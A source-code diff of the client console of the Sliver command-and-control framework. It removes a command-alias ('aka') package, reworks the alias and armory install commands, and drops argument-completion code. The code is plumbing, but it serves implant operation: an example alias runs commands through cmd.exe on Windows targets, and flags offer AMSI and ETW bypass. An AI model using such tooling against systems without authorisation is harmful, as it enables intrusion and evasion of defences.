* One command per file and the name of the file should reflect the command it implements (or there about, trivial commands can go into the same file). This makes it easy to find where a command implementation lives within a package or to search by file name if it is not clear which package implements a given command.
* The root command, and reused code should go into the file named after the command
* For example, code shared between the `generate` and the `regenerate` command should go in `generate.go`, and any `regenerate` specific code should go in `regenerate.go`
* Command entrypoint functions should have the suffix `Cmd` e.g., `GenerateCmd` is the entrypoint for `generate`
* Command entrypoints should always a function signature of `func (ctx *grumble.Context, con *console.SliverConsoleClient)`
* Functions that are only ever exported for other commands to use should go in a `helpers.go`, if the function is used internally and exported follow the guidance above on shared code.
-23
View File
@@ -1,23 +0,0 @@
# client/command/aka
## Overview
Implements the 'aka' command group for the Sliver client console. "Aka"s are
command aliases (like 'alias' in 'bash') that allow operators to specify
shorthand commands and default arguments for commonly used commands.
### Examples:
- `aka create bg background`: Allows an operator to run `bg` from the implant
menu to quickly move back to the server menu
- `aka create execw execute -o "C:\Windows\System32\cmd.exe" /c`: Shorthand for
executing binaries on Windows targets like: `execw arp -a`
## Go Files
- `commands.go` – Wires Cobra commands for listing, creating, and deleting command aliases in the client console.
- `create.go` – Handles creating command aliases to use by the client.
- `delete.go` – Removes command aliases currently tracked by the client.
- `hook.go` – The main hooking logic to intercept commands ran by the client console. The hook will intercept processing before hitting the Cobra tree to transform the command alias to a full command with default arguments from the command alias and user-provided arguments to the alias.
- `list.go` - Lists the current command aliases tracked by the client.
- `storage.go` - Supports the saving of aliases to disk to keep between runs of the client.
-59
View File
@@ -1,59 +0,0 @@
package aka
import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/spf13/cobra"
)
func ServerCommands(con *console.SliverClient) []*cobra.Command {
return commands(con, constants.GenericHelpGroup)
}
func ImplantCommands(con *console.SliverClient) []*cobra.Command {
return commands(con, constants.SliverCoreHelpGroup)
}
func commands(con *console.SliverClient, group string) []*cobra.Command {
akaCommand := &cobra.Command{
Use: "aka",
Short: "Manage command aliases (aka's)",
Run: func(cmd *cobra.Command, args []string) {
AkaListCmd(cmd, con, args)
},
GroupID: group,
}
createAka := &cobra.Command{
Use: "create <alias> <command> [args...]",
Short: "Create a new command alias (aka)",
Args: cobra.MinimumNArgs(2),
DisableFlagParsing: true, // No flags with aka create so we capture flags to other commands
DisableFlagsInUseLine: true,
Run: func(cmd *cobra.Command, args []string) {
AkaCreateCmd(cmd, con, args)
},
}
createAka.InitDefaultHelpFlag()
createAka.Flags().Lookup("help").Hidden = true
akaCommand.AddCommand(createAka)
deleteAka := &cobra.Command{
Use: "delete <alias>",
Short: "Delete a command alias (aka)",
Args: cobra.MinimumNArgs(1),
Run: func(cmd *cobra.Command, args []string) {
AkaDeleteCmd(cmd, con, args)
},
}
akaCommand.AddCommand(deleteAka)
con.App.PreCmdRunLineHooks = append(con.App.PreCmdRunLineHooks, Cmdhook)
err := LoadAkaAliases()
if err != nil {
con.PrintErrorf("Failed to load aka alises: %s\n", err)
}
return []*cobra.Command{akaCommand}
}
-46
View File
@@ -1,46 +0,0 @@
package aka
import (
"fmt"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/spf13/cobra"
)
func AkaCreateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
aliasName := args[0]
command := args[1]
defaultArgs := args[2:] // anything else is going to be the default args to the alias
if _, exists := akaAliases[aliasName]; exists {
con.PrintErrorf("Alias '%s' already exists\n", aliasName)
return
}
var desc string
if len(defaultArgs) == 0 {
desc = fmt.Sprintf("%s", command)
} else {
desc = fmt.Sprintf("%s %s", command, strings.Join(defaultArgs, " "))
}
alias := &AkaAlias{
Name: aliasName,
Command: command,
DefaultArgs: defaultArgs,
Description: desc,
}
akaAliases[aliasName] = alias
// save this new alias to disk
err := SaveAkaAliases()
if err != nil {
con.PrintErrorf("Failed to save alias '%s' to disk: %s\n", aliasName, err)
// we still technically added it to the map, so the alias did get created in
// memory so we should still print the Info message below
}
con.PrintInfof("Create alias for '%s' -> '%v'\n", aliasName, alias.Description)
}
-25
View File
@@ -1,25 +0,0 @@
package aka
import (
"github.com/bishopfox/sliver/client/console"
"github.com/spf13/cobra"
)
func AkaDeleteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
aliasName := args[0]
if _, exists := akaAliases[aliasName]; !exists {
con.PrintErrorf("Alias '%s' does not exist\n", aliasName)
return
}
delete(akaAliases, aliasName)
// Save updated map to disk
err := SaveAkaAliases()
if err != nil {
con.PrintErrorf("Failed to save aliases to disk: %s\n", err)
return
}
con.PrintInfof("Deleted alias '%s'\n", aliasName)
}
-27
View File
@@ -1,27 +0,0 @@
package aka
import (
"strings"
)
func Cmdhook(args []string) ([]string, error) {
if len(args) == 0 {
return args, nil
}
if aliasArgs, exists := akaAliases[args[0]]; exists {
var expandedArgs []string
expandedArgs = append(expandedArgs, aliasArgs.Command)
expandedArgs = append(expandedArgs, aliasArgs.DefaultArgs...)
// join the user passed args so the shell processes it without flags if
// available
if len(args[1:]) > 0 {
expandedArgs = append(expandedArgs, strings.Join(args[1:], " "))
}
return expandedArgs, nil
}
return args, nil
}
-31
View File
@@ -1,31 +0,0 @@
package aka
import (
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
)
func AkaListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if len(akaAliases) == 0 {
con.PrintInfof("No command aliases created. Use `aka create` to create one.\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Alias",
"Command",
})
for alias, cmd := range akaAliases {
tw.AppendRow(table.Row{
alias,
cmd.Description,
})
}
con.Printf("%s\n", tw.Render())
}
-68
View File
@@ -1,68 +0,0 @@
package aka
import (
"encoding/json"
"os"
"path/filepath"
"github.com/bishopfox/sliver/client/assets"
)
type AkaAlias struct {
Name string `json:"name"` // alias Name
Command string `json:"command"` // command being aliased
DefaultArgs []string `json:"default_args"` // args passed by the user
Description string `json:"description"`
}
var akaAliases = make(map[string]*AkaAlias)
const (
akaAliasFileName = "aka-aliases.json"
)
func GetAkaAliasesFilePath() string {
return filepath.Join(assets.GetRootAppDir(), akaAliasFileName)
}
func LoadAkaAliases() error {
filepath := GetAkaAliasesFilePath()
data, err := os.ReadFile(filepath)
if err != nil {
// if file hasn't been created yet, we fail gracefully
if os.IsNotExist(err) {
return nil
}
// otherwise, return the actual error; something else went wrong
return err
}
aliases := []AkaAlias{}
err = json.Unmarshal(data, &aliases)
if err != nil {
return err
}
akaAliases = make(map[string]*AkaAlias)
for _, alias := range aliases {
akaAliases[alias.Name] = &alias
}
return nil
}
func SaveAkaAliases() error {
filepath := GetAkaAliasesFilePath()
aliases := make([]*AkaAlias, 0, len(akaAliases))
for _, alias := range akaAliases {
aliases = append(aliases, alias)
}
data, err := json.MarshalIndent(aliases, "", " ")
if err != nil {
return err
}
return os.WriteFile(filepath, data, 0o600)
}
+7 -10
View File
@@ -1,14 +1,11 @@
# client/command/alias
Alias
===========
## Overview
Wraps external DLLs/tool in Sliver console commands.
Implements the 'alias' command group for the Sliver client console. Handlers map Cobra invocations to alias workflows such as install, load, and remove.
## Go Files
- `alias.go` – Implements runtime alias management, printing installed aliases and exposing tab-completion helpers.
- `alias_test.go` *(tests)* – Exercises manifest parsing logic to ensure alias metadata is interpreted correctly.
- `commands.go` – Wires Cobra commands for listing, installing, loading, and removing aliases into the client console.
- `install.go` – Handles installing alias bundles from directories or archives, writing manifests and payload artifacts to disk.
- `load.go` – Loads alias manifests, validates target compatibility, and registers commands against the active console.
- `remove.go` – Removes installed aliases, prompting for confirmation and deleting associated on-disk assets.
### Format
* `alias-dir/`
* * `manifest.json` -
-3
View File
@@ -1,7 +1,6 @@
package alias
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
@@ -33,7 +32,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
}
aliasCmd.AddCommand(aliasLoadCmd)
flags.NewCompletions(aliasLoadCmd).PositionalCompletion(carapace.ActionDirectories().Tag("alias directory").Usage("path to the alias directory"))
completers.RegisterLocalFilePathPositionalCompletion(aliasLoadCmd, 0)
aliasInstallCmd := &cobra.Command{
Use: consts.InstallStr + " [ALIAS]",
@@ -46,7 +44,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
}
aliasCmd.AddCommand(aliasInstallCmd)
flags.NewCompletions(aliasInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("alias file"))
completers.RegisterLocalFilePathPositionalCompletion(aliasInstallCmd, 0)
aliasRemove := &cobra.Command{
Use: consts.RmStr + " [ALIAS]",
+6 -4
View File
@@ -24,9 +24,9 @@ import (
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/util"
"github.com/spf13/cobra"
)
@@ -62,7 +62,8 @@ func installFromDir(aliasLocalPath string, con *console.SliverClient) {
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Alias '%s' already exists", manifest.CommandName)
confirm := false
_ = forms.Confirm("Overwrite current install?", &confirm)
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
@@ -113,7 +114,7 @@ func InstallFromFile(aliasGzFilePath string, aliasName string, promptToOverwrite
} else {
errorMsg = fmt.Sprintf("Failed to parse %s: %s\n", ManifestFileName, err)
}
con.PrintErrorf("%s", errorMsg)
con.PrintErrorf(errorMsg)
return nil
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
@@ -121,7 +122,8 @@ func InstallFromFile(aliasGzFilePath string, aliasName string, promptToOverwrite
if promptToOverwrite {
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
confirm := false
_ = forms.Confirm("Overwrite current install?", &confirm)
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return nil
}
+12 -174
View File
@@ -27,16 +27,15 @@ import (
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/client/packages"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/carapace-sh/carapace"
app "github.com/reeflective/console"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
@@ -77,16 +76,6 @@ type AliasFile struct {
Path string `json:"path"`
}
// AliasArgument - An argument for an alias command.
type AliasArgument struct {
Name string `json:"name"`
Type string `json:"type"`
Desc string `json:"desc"`
Optional bool `json:"optional"`
Default interface{} `json:"default,omitempty"`
Choices []string `json:"choices,omitempty"`
}
// AliasManifest - The manifest for an alias, contains metadata.
type AliasManifest struct {
Name string `json:"name"`
@@ -100,7 +89,6 @@ type AliasManifest struct {
Entrypoint string `json:"entrypoint"`
AllowArgs bool `json:"allow_args"`
DefaultArgs string `json:"default_args"`
Arguments []*AliasArgument `json:"arguments"`
Files []*AliasFile `json:"files"`
IsReflective bool `json:"is_reflective"`
IsAssembly bool `json:"is_assembly"`
@@ -170,60 +158,15 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
}
aliasManifest.RootPath = filepath.Dir(manifestPath)
// Build usage string including arguments
usage := strings.Builder{}
usage.WriteString(aliasManifest.CommandName)
for _, arg := range aliasManifest.Arguments {
usage.WriteString(" ")
if arg.Optional {
usage.WriteString("[")
}
usage.WriteString(strings.ToUpper(arg.Name))
if arg.Optional {
usage.WriteString("]")
}
}
// Build long help message
longHelp := strings.Builder{}
longHelp.WriteString("[[.Bold]]Command:[[.Normal]]")
longHelp.WriteString(usage.String())
longHelp.WriteString("\n")
if len(aliasManifest.Help) > 0 || len(aliasManifest.LongHelp) > 0 {
longHelp.WriteString("[[.Bold]]About:[[.Normal]]")
if len(aliasManifest.Help) > 0 {
longHelp.WriteString(aliasManifest.Help)
longHelp.WriteString("\n")
}
if len(aliasManifest.LongHelp) > 0 {
longHelp.WriteString(aliasManifest.LongHelp)
longHelp.WriteString("\n")
}
}
if len(aliasManifest.Arguments) > 0 {
longHelp.WriteString("[[.Bold]]Arguments:[[.Normal]]")
for _, arg := range aliasManifest.Arguments {
longHelp.WriteString("\n\t")
optStr := ""
if arg.Optional {
optStr = "[OPTIONAL]"
}
aType := arg.Type
if aType == "wstring" {
aType = "string"
}
longHelp.WriteString(fmt.Sprintf("%s (%s):\t%s%s", strings.ToUpper(arg.Name), aType, optStr, arg.Desc))
}
}
longHelp.WriteString("\n\n⚠️ If you're having issues passing arguments to the alias please read:\n")
longHelp.WriteString("https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing")
// for each alias command, add a new app command
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
addAliasCmd := &cobra.Command{
Use: usage.String(),
Use: aliasManifest.CommandName,
Short: helpMsg,
Long: help.FormatHelpTmpl(longHelp.String()),
Long: longHelpMsg,
Run: func(cmd *cobra.Command, args []string) {
runAliasCommand(cmd, con, args)
},
@@ -239,9 +182,9 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.BoolP("in-process", "i", false, "Run in the current sliver process")
f.StringP("runtime", "r", "v4.0.30319", "Runtime to use for running the assembly")
f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows")
f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows")
f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)")
addAliasCmd.Flags().AddFlagSet(f)
}
@@ -253,10 +196,6 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
addAliasCmd.Flags().AddFlagSet(f)
// Setup completions for alias arguments
comps := carapace.Gen(addAliasCmd)
makeAliasArgCompleter(aliasManifest, comps)
cmd.AddCommand(addAliasCmd)
// Have to use a global map here, as passing the aliasCmd
@@ -372,9 +311,10 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
} else if !aliasManifest.IsReflective {
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for non-reflective PE payloads.\n"
}
con.PrintWarnf("%s", msgStr)
con.PrintWarnf(msgStr)
confirm := false
forms.Confirm("Do you want to continue?", &confirm)
prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
}
@@ -650,105 +590,3 @@ func makeAliasPlatformFilters(alias *AliasManifest) map[string]string {
app.CommandFilterKey: strings.Join(all, ","),
}
}
// makeAliasArgCompleter builds the positional and dash arguments completer for the alias.
// It provides completion for:
// 1. Positional arguments (before --)
// 2. Flag-style arguments after -- (e.g., --target, --port)
func makeAliasArgCompleter(alias *AliasManifest, comps *carapace.Carapace) {
if len(alias.Arguments) == 0 {
return
}
var actions []carapace.Action
for _, arg := range alias.Arguments {
var action carapace.Action
// If choices are defined, use them for completion
if len(arg.Choices) > 0 {
action = carapace.ActionValues(arg.Choices...).Tag("choices")
} else {
// Fall back to type-based completion
switch arg.Type {
case "file":
action = carapace.ActionFiles().Tag("alias data")
default:
action = carapace.ActionValues()
}
}
usage := fmt.Sprintf("(%s) %s", arg.Type, arg.Desc)
if arg.Optional {
usage += " (optional)"
}
actions = append(actions, action.Usage("%s", usage))
}
comps.PositionalCompletion(actions...)
// Add dash completion for flag-style arguments after --
// Pre-build the flag completions at registration time (not in a callback)
flagCompletion := makeAliasFlagNameCompletion(alias)
// Build value completions for each argument type
valueCompletions := make(map[string]carapace.Action)
for _, arg := range alias.Arguments {
// If choices are defined, use them for completion
if len(arg.Choices) > 0 {
valueCompletions[arg.Name] = carapace.ActionValues(arg.Choices...).Tag("choices")
} else {
// Fall back to type-based completion
switch arg.Type {
case "file":
valueCompletions[arg.Name] = carapace.ActionFiles().Tag("file path")
case "bool":
valueCompletions[arg.Name] = carapace.ActionValues("true", "false").Tag("boolean")
default:
valueCompletions[arg.Name] = carapace.ActionValues()
}
}
}
// Use DashAnyCompletion with a smart action that determines context
comps.DashAnyCompletion(
carapace.ActionCallback(func(c carapace.Context) carapace.Action {
// If typing a flag (starts with -)
if strings.HasPrefix(c.Value, "-") {
return flagCompletion
}
// If previous arg was a flag, complete its value
if len(c.Args) > 0 {
lastArg := c.Args[len(c.Args)-1]
if strings.HasPrefix(lastArg, "-") {
flagName := strings.TrimLeft(lastArg, "-")
if action, ok := valueCompletions[flagName]; ok {
return action
}
}
}
// Default: show flag names
return flagCompletion
}),
)
}
// makeAliasFlagNameCompletion creates completion for flag names
func makeAliasFlagNameCompletion(alias *AliasManifest) carapace.Action {
var results []string
for _, arg := range alias.Arguments {
flagName := fmt.Sprintf("--%s", arg.Name)
desc := arg.Desc
if arg.Optional {
desc = fmt.Sprintf("[optional] %s", desc)
}
desc = fmt.Sprintf("(%s) %s", arg.Type, desc)
results = append(results, flagName, desc)
}
return carapace.ActionValuesDescribed(results...).Tag("alias arguments")
}
+3 -2
View File
@@ -24,9 +24,9 @@ import (
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/spf13/cobra"
)
@@ -39,7 +39,8 @@ func AliasesRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
return
}
confirm := false
_ = forms.Confirm(fmt.Sprintf("Remove '%s' alias?", name), &confirm)
prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' alias?", name)}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
-16
View File
@@ -1,16 +0,0 @@
# client/command/armory
## Overview
Implements the 'armory' command group for the Sliver client console. Handlers map Cobra invocations to armory workflows such as install, manage, parsers, and search.
## Go Files
- `armory.go` – Maintains the armory cache lifecycle, fetching package metadata, verifying signatures, and presenting bundle listings.
- `armory_test.go` *(tests)* – Placeholder for armory command tests; currently used to keep the package's test harness wired up.
- `commands.go` – Declares the Cobra command hierarchy for armory actions and binds shared flag/completion plumbing.
- `install.go` – Resolves dependencies and installs aliases or extensions from cached metadata, prompting when overwriting existing packages.
- `manage.go` – Implements management helpers for viewing, adding, verifying, and persisting armory configurations.
- `parsers.go` – Provides parsers and HTTP helpers for retrieving armory indexes and packages, including Minisign verification.
- `search.go` – Implements the regex-driven search command that filters cached armory packages.
- `update.go` – Calculates available package updates, presents options to the user, and orchestrates update installation.
+15 -15
View File
@@ -428,7 +428,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.StyleBold.Render("Packages"))
tw.SetTitle(console.Bold + "Packages" + console.Normal)
urlMargin := 150 // Extra margin needed to show URL column
@@ -493,26 +493,26 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
rows := []table.Row{}
for _, pkg := range entries {
style := console.StyleNormal
color := console.Normal
if extensions.CmdExists(pkg.CommandName, sliverMenu.Command) {
style = console.StyleGreen
color = console.Green
}
if con.Settings.SmallTermWidth+urlMargin < width {
rows = append(rows, table.Row{
style.Render(pkg.ArmoryName),
style.Render(pkg.CommandName),
style.Render(pkg.Version),
style.Render(pkg.Type),
style.Render(pkg.Help),
style.Render(pkg.URL),
fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
})
} else {
rows = append(rows, table.Row{
style.Render(pkg.ArmoryName),
style.Render(pkg.CommandName),
style.Render(pkg.Version),
style.Render(pkg.Type),
style.Render(pkg.Help),
fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
})
}
}
@@ -524,7 +524,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.StyleBold.Render("Bundles"))
tw.SetTitle(console.Bold + "Bundles" + console.Normal)
tw.AppendHeader(table.Row{
"Armory Name",
"Name",
+1 -1
View File
@@ -37,7 +37,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
Use: consts.InstallStr,
Short: "Install an alias or extension",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.InstallStr}),
Args: cobra.RangeArgs(0, 1),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
ArmoryInstallCmd(cmd, con, args)
},
+68 -237
View File
@@ -26,9 +26,8 @@ import (
"os"
"path/filepath"
"slices"
"sort"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets"
@@ -36,7 +35,6 @@ import (
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/util/minisign"
)
@@ -53,9 +51,10 @@ const (
// ArmoryInstallCmd - The armory install command
func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
var promptToOverwrite bool
names := []string{}
if len(args) > 0 {
names = []string{args[0]}
name := args[0]
if name == "" {
con.PrintErrorf("A package or bundle name is required")
return
}
forceInstallation, err := cmd.Flags().GetBool("force")
if err != nil {
@@ -84,92 +83,51 @@ func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
clientConfig := parseArmoryHTTPConfig(cmd)
refresh(clientConfig)
if len(names) == 0 {
armoryFilterName := ""
if armoryPK != "" {
armoryFilterName = armoryName
if name == "all" {
aliases, extensions := packageManifestsInCache()
aliasCount, extCount := countUniqueCommandsFromManifests(aliases, extensions)
confirm := false
pluralAliases := "es"
if aliasCount == 1 {
pluralAliases = ""
}
options := armoryInstallOptions(armoryPK, armoryFilterName)
if len(options) == 0 {
con.PrintInfof("No packages or bundles found\n")
pluralExtensions := "s"
if extCount == 1 {
pluralExtensions = ""
}
prompt := &survey.Confirm{
Message: fmt.Sprintf("Install %d alias%s and %d extension%s?",
aliasCount, pluralAliases, extCount, pluralExtensions,
),
}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
result, err := forms.ArmoryInstallForm(options)
if err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return
}
con.PrintErrorf("Armory install form failed: %s\n", err)
return
}
if len(result.SelectedNames) == 0 {
return
}
names = result.SelectedNames
promptToOverwrite = false
}
if len(names) == 0 {
con.PrintErrorf("A package or bundle name is required")
err = installPackageByName(name, armoryPK, forceInstallation, promptToOverwrite, clientConfig, con)
if err == nil {
return
}
if slices.Contains(names, "all") {
names = []string{"all"}
}
for _, name := range names {
if name == "" {
continue
}
promptOverwrite := promptToOverwrite
if name == "all" {
aliases, extensions := packageManifestsInCache()
aliasCount, extCount := countUniqueCommandsFromManifests(aliases, extensions)
confirm := false
pluralAliases := "es"
if aliasCount == 1 {
pluralAliases = ""
}
pluralExtensions := "s"
if extCount == 1 {
pluralExtensions = ""
}
forms.Confirm(fmt.Sprintf("Install %d alias%s and %d extension%s?",
aliasCount, pluralAliases, extCount, pluralExtensions,
), &confirm)
if !confirm {
if errors.Is(err, ErrPackageNotFound) {
bundles := bundlesInCache()
for _, bundle := range bundles {
if bundle.Name == name {
installBundle(bundle, armoryPK, forceInstallation, clientConfig, con)
return
}
promptOverwrite = false
}
err = installPackageByName(name, armoryPK, forceInstallation, promptOverwrite, clientConfig, con)
if err == nil {
continue
}
if errors.Is(err, ErrPackageNotFound) {
bundles := bundlesInCache()
for _, bundle := range bundles {
if bundle.Name == name {
installBundle(bundle, armoryPK, forceInstallation, clientConfig, con)
err = nil
break
}
}
if err == nil {
continue
}
// If we have made it here, then there was not a bundle or package that matched the provided name
if armoryPK == "" {
con.PrintErrorf("No package or bundle named %q was found\n", name)
} else {
con.PrintErrorf("No package or bundle named %q was found in armory %s\n", name, armoryName)
}
} else if errors.Is(err, ErrPackageAlreadyInstalled) {
con.PrintErrorf("Package %q is already installed - use the force option to overwrite it\n", name)
// If we have made it here, then there was not a bundle or package that matched the provided name
if armoryPK == "" {
con.PrintErrorf("No package or bundle named %q was found\n", name)
} else {
con.PrintErrorf("Could not install package: %s\n", err)
con.PrintErrorf("No package or bundle named %q was found in armory %s\n", name, armoryName)
}
} else if errors.Is(err, ErrPackageAlreadyInstalled) {
con.PrintErrorf("Package %q is already installed - use the force option to overwrite it\n", name)
} else {
con.PrintErrorf("Could not install package: %s\n", err)
}
}
@@ -274,22 +232,19 @@ func getInstalledPackageNames() []string {
}
// This is a convenience function to get the names of the commands in the cache
func getCommandsInCache(armoryPK string) []string {
func getCommandsInCache() []string {
commandNames := []string{}
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.LastErr == nil {
if armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey != armoryPK {
return true
}
if cacheEntry.Pkg.IsAlias {
if cacheEntry.Alias.CommandName != "" && !slices.Contains(commandNames, cacheEntry.Alias.CommandName) {
if !slices.Contains(commandNames, cacheEntry.Alias.CommandName) {
commandNames = append(commandNames, cacheEntry.Alias.CommandName)
}
} else {
for _, command := range cacheEntry.Extension.ExtCommand {
if command.CommandName != "" && !slices.Contains(commandNames, command.CommandName) {
if !slices.Contains(commandNames, command.CommandName) {
commandNames = append(commandNames, command.CommandName)
}
}
@@ -341,7 +296,11 @@ func getPackageIDFromUser(name string, options map[string]string) string {
// Add a cancel option
optionKeys = append(optionKeys, doNotInstallOption)
options[doNotInstallOption] = doNotInstallPackageName
forms.Select(fmt.Sprintf("More than one package contains the command %s. Please choose an option from the list below:", name), optionKeys, &selectedPackageKey)
prompt := &survey.Select{
Message: fmt.Sprintf("More than one package contains the command %s. Please choose an option from the list below:", name),
Options: optionKeys,
}
survey.AskOne(prompt, &selectedPackageKey)
selectedPackageID := options[selectedPackageKey]
return selectedPackageID
@@ -401,7 +360,7 @@ func buildInstallList(name, armoryPK string, forceInstallation bool, pendingPack
var requestedPackageList []string
if name == "all" {
requestedPackageList = []string{}
allCommands := getCommandsInCache(armoryPK)
allCommands := getCommandsInCache()
for _, cmdName := range allCommands {
if !slices.Contains(installedPackages, cmdName) || forceInstallation {
// Check to see if there is a package pending with that name
@@ -461,15 +420,6 @@ func installPackageByName(name, armoryPK string, forceInstallation, promptToOver
if err != nil {
return err
}
if len(packageInstallList) == 0 && name == "all" {
availableCommands := getCommandsInCache(armoryPK)
if len(availableCommands) == 0 {
con.PrintInfof("No packages or bundles found\n")
} else {
con.PrintInfof("All available packages are already installed\n")
}
return nil
}
if len(packageInstallList) > 0 {
for _, packageID := range packageInstallList {
entry := packageCacheLookupByID(packageID)
@@ -494,114 +444,12 @@ func installPackageByName(name, armoryPK string, forceInstallation, promptToOver
if name == "all" {
con.Printf("\n")
con.PrintSuccessf("Operation complete\n")
con.PrintInfof("Operation complete\n")
}
return nil
}
func armoryInstallOptions(armoryPK, armoryName string) []forms.ArmoryInstallOption {
options := []forms.ArmoryInstallOption{}
seen := make(map[string]bool)
packageCount := 0
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry, ok := value.(pkgCacheEntry)
if !ok {
return true
}
if cacheEntry.LastErr != nil {
return true
}
if armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey != armoryPK {
return true
}
if cacheEntry.Pkg.IsAlias {
name := cacheEntry.Alias.CommandName
if name == "" {
return true
}
if seen[name] {
return true
}
label := formatArmoryInstallLabel("alias", name, cacheEntry.Alias.Help)
options = append(options, forms.ArmoryInstallOption{
Value: name,
Label: label,
})
seen[name] = true
packageCount++
return true
}
for _, command := range cacheEntry.Extension.ExtCommand {
name := command.CommandName
if name == "" {
continue
}
if seen[name] {
continue
}
label := formatArmoryInstallLabel("extension", name, command.Help)
options = append(options, forms.ArmoryInstallOption{
Value: name,
Label: label,
})
seen[name] = true
packageCount++
}
return true
})
for _, bundle := range bundlesInCache() {
if bundle.Name == "" {
continue
}
if armoryName != "" && bundle.ArmoryName != armoryName {
continue
}
